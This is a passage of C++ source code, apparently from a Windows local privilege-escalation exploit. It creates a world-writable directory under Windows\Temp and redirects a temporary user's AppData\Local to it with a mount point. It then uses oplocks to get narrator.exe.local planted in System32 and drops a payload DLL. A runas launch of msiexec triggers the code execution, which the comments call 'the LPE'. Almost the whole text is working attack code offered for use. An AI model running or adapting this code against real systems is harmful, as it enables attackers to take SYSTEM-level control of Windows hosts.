// Create 3 new heap allocations, each with zero'd out memory, on the process heap.
|
|
// Each allocation is another subdirectory so we have:
|
|
// \AppData
|
|
// \AppData\Local
|
|
// \AppData\Local\Application Data
|
|
appdata = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, user_temp_dir_sz + (8 * sizeof(wchar_t)));
|
|
appdata_local = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, user_temp_dir_sz + (14 * sizeof(wchar_t)));
|
|
appdata_local_appdata = (wchar_t*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, user_temp_dir_sz + (31 * sizeof(wchar_t)));
|
|
|
|
if ((appdata == NULL) || (appdata_local == NULL) || (appdata_local_appdata == NULL)) {
|
|
MY_PRINTF(L"Couldn't allocate memory for AppData strings!\r\n");
|
|
ExitProcess(27);
|
|
}
|
|
|
|
// Build up the strings, with appdata pointing to something like C:\\Users\\TEMP.WIN11-TEST.016\\AppData
|
|
// appdata_local will point to something like C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local
|
|
// appdata_local_appdata will point to C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local\\Application Data
|
|
//
|
|
wcscpy(appdata, user_temp_dir);
|
|
wcscat(appdata, L"\\AppData\0");
|
|
wcscpy(appdata_local, appdata);
|
|
wcscat(appdata_local, L"\\Local\0");
|
|
wcscpy(appdata_local_appdata, appdata_local);
|
|
wcscat(appdata_local_appdata, L"\\Application Data\0");
|
|
|
|
// Create the directory at C:\\Users\\TEMP.WIN11-TEST.016\\AppData
|
|
int dir_cr_result = SHCreateDirectory(NULL, appdata);
|
|
if (dir_cr_result != ERROR_SUCCESS) {
|
|
MY_PRINTF(L"Couldn't create the AppData directory corresponding to the appdata variable! Error was: %i\r\n", dir_cr_result);
|
|
}
|
|
|
|
// Now to create a directory at C:\Windows\Temp\<random chars> such as C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE}
|
|
wchar_t __tmp[MAX_PATH];
|
|
if (ExpandEnvironmentStringsW(std::wstring(L"%windir%\\Temp\\" + op.GenerateRandomStr()).c_str(), __tmp, MAX_PATH) == 0) {
|
|
MY_PRINTF(L"Could not expand the environment string for the Windows temp directory using ExpandEnviromentStrings()! Error: %i\r\n", GetLastError());
|
|
ExitProcess(28);
|
|
}
|
|
|
|
|
|
// DACL with SE_DACL_PROTECTED flag set to prevent it being modified by inheritable ACEs,
|
|
// and the SE_DACL_AUTO_INHERITED flag so that it is set up to automatically propagate to child objects.
|
|
//
|
|
// The actual flags are AceType: SDDL_ACCESS_ALLOWED, AceFlags: SDDL_OBJECT_INHERIT|SDDL_CONTAINER_INHERIT, Rights: FILE_ALL_ACCESS, WRITE_DAC
|
|
//
|
|
// This is then saved into the sd variable and the length of this structure is saved into sd_sz.
|
|
//
|
|
// Finally use this to create a new SECURITY_ATTRIBUTES structure in the variable sa with this info.
|
|
PSECURITY_DESCRIPTOR sd;
|
|
ULONG sd_sz = 0;
|
|
if (ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:PAI(A;OICI;FA;;;WD)", SDDL_REVISION_1, &sd, &sd_sz) == FALSE) {
|
|
MY_PRINTF(L"Couldn't create security descriptor from string! Error: %i\r\n", GetLastError());
|
|
ExitProcess(29);
|
|
}
|
|
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES),sd,FALSE };
|
|
|
|
|
|
// Create a new directory at C:\Windows\Temp\<random chars> (in this case C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE}) with the provided security
|
|
// descriptor that allows all access to the directory and write DAC access.
|
|
if (!CreateDirectoryW(__tmp, &sa))
|
|
err(L"CreateDirectory", GetLastError(), __LINE__);
|
|
|
|
// Open up the directory at C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local with local read and write permissions, and
|
|
// the ability to delete the directory once done.
|
|
happdata_local = op.OpenDirectory(appdata_local, GENERIC_READ | GENERIC_WRITE | DELETE);
|
|
if (!happdata_local)
|
|
err(L"OpenDirectory", op.GetLastErr(), __LINE__);
|
|
|
|
// Now create a mount point between C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local that points to C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE}
|
|
if (!op.CreateMountPoint(happdata_local, __tmp))
|
|
err(L"CreateMountPoint", op.GetLastErr(), __LINE__);
|
|
|
|
// Once the mount point has been created between C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local and C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE},
|
|
// create an oplock on the C:\\Users\\TEMP.WIN11-TEST.016\\AppData\\Local directory and wait until its triggered, then use callback1 function
|
|
// to do operations when lock is triggered.
|
|
op.CreateAndWaitLock(happdata_local, callback1);
|
|
|
|
// Check if the lock on C:\\Users\\TEMP.WIN11-TEST.016\\AppData has been hit or not.
|
|
// If not then wait for the lock to be hit, and once its hit then delete the lock.
|
|
if (appdata_lock) {
|
|
appdata_lock->WaitForLock(INFINITE);
|
|
delete appdata_lock;
|
|
}
|
|
|
|
// Wait for the thread that tries to create a new msiexec.exe process with the
|
|
// provided credentials for the other user to finish and end up becoming signaled,
|
|
// then close the handle to the thread to shut it down.
|
|
WaitForSingleObject(hthread, INFINITE);
|
|
CloseHandle(hthread);
|
|
|
|
// Check if we were actually able to create C:\\Windows\\System32\\narrator.exe.local.
|
|
// If we failed, then the exploit failed.
|
|
if (GetFileAttributesW(L"C:\\Windows\\System32\\narrator.exe.local") == INVALID_FILE_ATTRIBUTES) {
|
|
MessageBoxA(NULL, "Couldn't get narrator.exe.local!", "fail!", MB_OK);
|
|
MY_PRINTF(L"Exploit failed - Creating C:\\Windows\\System32\\narrator.exe.local was unsuccessful! Error: %i\r\n", GetLastError());
|
|
return 1;
|
|
}
|
|
|
|
// Remove the directory at C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE}
|
|
if (op.RRemoveDirectory(__tmp) == FALSE) {
|
|
MY_PRINTF(L"Was not able to delete the %s directory before dropping the payload! Error: %i\r\n", __tmp, op.GetLastErr());
|
|
ExitProcess(30);
|
|
}
|
|
|
|
// Sleep for 5 seconds to allow things to finish doing what they need to. XXX Still not 100% sure this is needed.
|
|
Sleep(5000);
|
|
|
|
// Close the handle to the C:\\Users\\TEMP.WIN11-TEST.016\\.lock file.
|
|
CloseHandle(hlock_file);
|
|
|
|
// Create the directory at C:\\Users\\TEMP.WIN11-TEST.016\\\AppData\\Local\\Application Data
|
|
int dir_cr_appdata_result = SHCreateDirectory(NULL, appdata_local_appdata);
|
|
if (dir_cr_appdata_result != ERROR_SUCCESS) {
|
|
MY_PRINTF(L"Was unable to call SHCreateDirectory to create the directory at %s! Error was: %i\r\n", appdata_local_appdata, dir_cr_appdata_result);
|
|
ExitProcess(31);
|
|
}
|
|
|
|
// Drop the payload file at
|
|
DoDropPayload(dllPath);
|
|
|
|
// This will cause the system to open a RUNAS prompt which will trigger the LPE code execution.
|
|
HINSTANCE result = ShellExecuteW(NULL, L"runas", L"C:\\Windows\\System32\\msiexec.exe", NULL, NULL, SW_NORMAL);
|
|
if ((INT_PTR)result < 32) {
|
|
ExitProcess(1000);
|
|
}
|
|
/* Uncomment this if you want to debug why the exploit is failing.
|
|
else {
|
|
switch ((INT_PTR)result) {
|
|
case 0:
|
|
MessageBoxA(NULL, "Out of resources!", "ERROR!", MB_OK);
|
|
break;
|
|
case ERROR_FILE_NOT_FOUND :
|
|
MessageBoxA(NULL, "File not found!", "ERROR!", MB_OK);
|
|
break;
|
|
case ERROR_PATH_NOT_FOUND:
|
|
MessageBoxA(NULL, "Path not found!", "ERROR!", MB_OK);
|
|
break;
|
|
case ERROR_BAD_FORMAT:
|
|
MessageBoxA(NULL, "Bad format!", "ERROR!", MB_OK);
|
|
break;
|
|
case SE_ERR_ACCESSDENIED:
|
|
MessageBoxA(NULL, "Access denied!", "ERROR!", MB_OK);
|
|
break;
|
|
case SE_ERR_ASSOCINCOMPLETE:
|
|
MessageBoxA(NULL, "The file name association is incomplete or invalid!", "ERROR!", MB_OK);
|
|
break;
|
|
case SE_ERR_DDEBUSY:
|
|
MessageBoxA(NULL, "The DDE transaction could not be completed because other DDE transactions were being processed!", "ERROR!", MB_OK);
|
|
break;
|
|
case SE_ERR_DDEFAIL:
|
|
MessageBoxA(NULL, "The DDE transaction failed!", "ERROR!", MB_OK);
|
|
break;
|
|
case SE_ERR_DDETIMEOUT:
|
|
MessageBoxA(NULL, "The DDE transaction could not be completed because the request timed out.", "ERROR!", MB_OK);
|
|
break;
|
|
case SE_ERR_DLLNOTFOUND:
|
|
MessageBoxA(NULL, "The specified DLL was not found!", "ERROR!", MB_OK);
|
|
break;
|
|
case SE_ERR_NOASSOC:
|
|
MessageBoxA(NULL, "There is no application associated with the given file name extension. This error will also be returned if you attempt to print a file that is not printable.", "ERROR!", MB_OK);
|
|
break;
|
|
case SE_ERR_OOM:
|
|
MessageBoxA(NULL, "There was not enough memory to complete the operation.", "ERROR!", MB_OK);
|
|
break;
|
|
case SE_ERR_SHARE:
|
|
MessageBoxA(NULL, "A sharing violation occurred.", "ERROR!", MB_OK);
|
|
break;
|
|
default:
|
|
MessageBoxA(NULL, "Unknown error occured!", "ERROR!", MB_OK);
|
|
break;
|
|
}
|
|
}*/
|
|
|
|
CloseHandle(result);
|
|
|
|
// Remove the directory at C:\\Windows\\Temp\\{CC9BF9F3-5B31-47E4-8C61-49E609D7A2CE}
|
|
op.RRemoveDirectory(__tmp);
|
|
|
|
// Call rev2self to get back original token, then clean up all the handles and heaps.
|
|
RevertToSelf();
|
|
CloseHandle(huserdat);
|
|
CloseHandle(husers_dir);
|
|
CloseHandle(happdata);
|
|
CloseHandle(hlnk);
|
|
CloseHandle(_token);
|
|
HeapFree(GetProcessHeap(), NULL, user_temp_dir);
|
|
HeapFree(GetProcessHeap(), NULL, fni);
|
|
HeapFree(GetProcessHeap(), NULL, lock_file);
|
|
HeapFree(GetProcessHeap(), NULL, appdata);
|
|
HeapFree(GetProcessHeap(), NULL, appdata_local);
|
|
HeapFree(GetProcessHeap(), NULL, appdata_local_appdata);
|
|
return ERROR_SUCCESS;
|
|
} |